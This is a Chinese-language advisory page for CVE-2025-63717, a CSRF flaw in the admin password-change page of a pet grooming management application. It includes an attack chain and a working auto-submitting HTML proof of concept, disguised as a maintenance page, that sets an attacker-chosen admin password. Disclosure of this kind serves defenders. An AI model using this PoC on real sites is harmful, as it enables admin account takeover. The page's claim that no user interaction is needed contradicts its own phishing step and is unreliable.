IPBUF安全漏洞报告
English
CVE-2025-63717 CVSS 6.5 中危

CVE-2025-63717: SourceCodester Pet Grooming Management Software 1.0 CSRF密码篡改漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63717
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pet Grooming Management Software 1.0

相关标签

CSRF跨站请求伪造密码篡改SourceCodesterPet Grooming Management SoftwareCVE-2025-63717身份认证绕过账户接管

漏洞概述

CVE-2025-63717是SourceCodester Pet Grooming Management Software 1.0中发现的一个中危安全漏洞,存在于管理后台的密码修改功能中。该漏洞允许未经身份验证的攻击者通过社会工程学手段,诱骗已登录的管理员用户在不知情的情况下将密码修改为攻击者指定的值。由于该应用在密码修改端点(/pet_grooming/admin/change_pass.php)缺乏有效的CSRF防护机制,攻击者可以构造恶意页面,利用受害者的有效会话执行非授权操作。成功利用此漏洞可能导致管理员账户被完全接管,进而获得对整个宠物美容管理系统的完全控制权,访问、篡改或删除所有业务数据和客户信息。此漏洞的CVSS评分为6.5,属于中等严重程度,主要因为其攻击复杂度低且不需要用户交互即可实施。

技术细节

该CSRF漏洞位于SourceCodester Pet Grooming Management Software 1.0的密码修改功能模块。具体来说,/pet_grooming/admin/change_pass.php端点在处理密码修改请求时存在以下安全问题:1) 缺少anti-CSRF token验证:应用未实现CSRF令牌机制来验证请求的合法性;2) 未启用SameSite Cookie属性:会话Cookie未设置为SameSite=Strict或SameSite=Lax,导致Cookie可在跨站请求中被发送;3) 缺乏请求来源验证:服务器端未验证HTTP请求的Referer或Origin头部。攻击者可以构造一个包含自动提交表单的HTML页面,当管理员访问该页面时,浏览器会自动向目标网站的密码修改端点发送POST请求,携带管理员的有效会话Cookie。由于浏览器会自动附带同源Cookie,服务器会认为这是合法的管理员操作,从而执行密码修改。攻击者通常将新密码设置为攻击者已知值,以便后续登录控制账户。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的是SourceCodester Pet Grooming Management Software 1.0,并确定密码修改功能的URL为/pet_grooming/admin/change_pass.php
STEP 2
步骤2: 构造CSRF攻击页面
攻击者创建包含自动提交表单的恶意HTML页面,表单中包含新密码字段(new_pass和confirm_pass),值为攻击者预设的密码
STEP 3
步骤3: 社会工程学攻击
攻击者通过钓鱼邮件、恶意链接或其他方式诱导已登录的管理员用户访问构造的CSRF页面
STEP 4
步骤4: 自动执行密码修改
当管理员浏览器加载CSRF页面时,JavaScript自动提交表单,由于浏览器会自动附带同源Cookie,请求被视为合法
STEP 5
步骤5: 账户接管
管理员的密码被成功修改为攻击者指定的值,攻击者随后可以使用新密码登录管理后台,完全控制系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-63717 --> <!-- Auto-submit form to change admin password --> <!DOCTYPE html> <html> <head> <title>Page Under Maintenance</title> </head> <body> <h1>Website is under maintenance</h1> <p>Please wait...</p> <form id="csrf_form" action="http://target.com/pet_grooming/admin/change_pass.php" method="POST"> <input type="hidden" name="current_pass" value=""> <input type="hidden" name="new_pass" value="AttackerControlled123!"> <input type="hidden" name="confirm_pass" value="AttackerControlled123!"> <input type="hidden" name="change" value="submit"> </form> <script> // Auto-submit form when page loads document.getElementById('csrf_form').submit(); </script> </body> </html>

影响范围

SourceCodester Pet Grooming Management Software 1.0

防御指南

临时缓解措施
作为临时缓解措施,管理员可以定期检查账户登录活动,确保密码未被未授权修改;启用浏览器的CSRF保护插件;避免点击可疑链接;在使用公共网络时谨慎操作管理员账户。同时建议在Web应用防火墙(WAF)上配置规则,检测和阻止针对密码修改端点的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表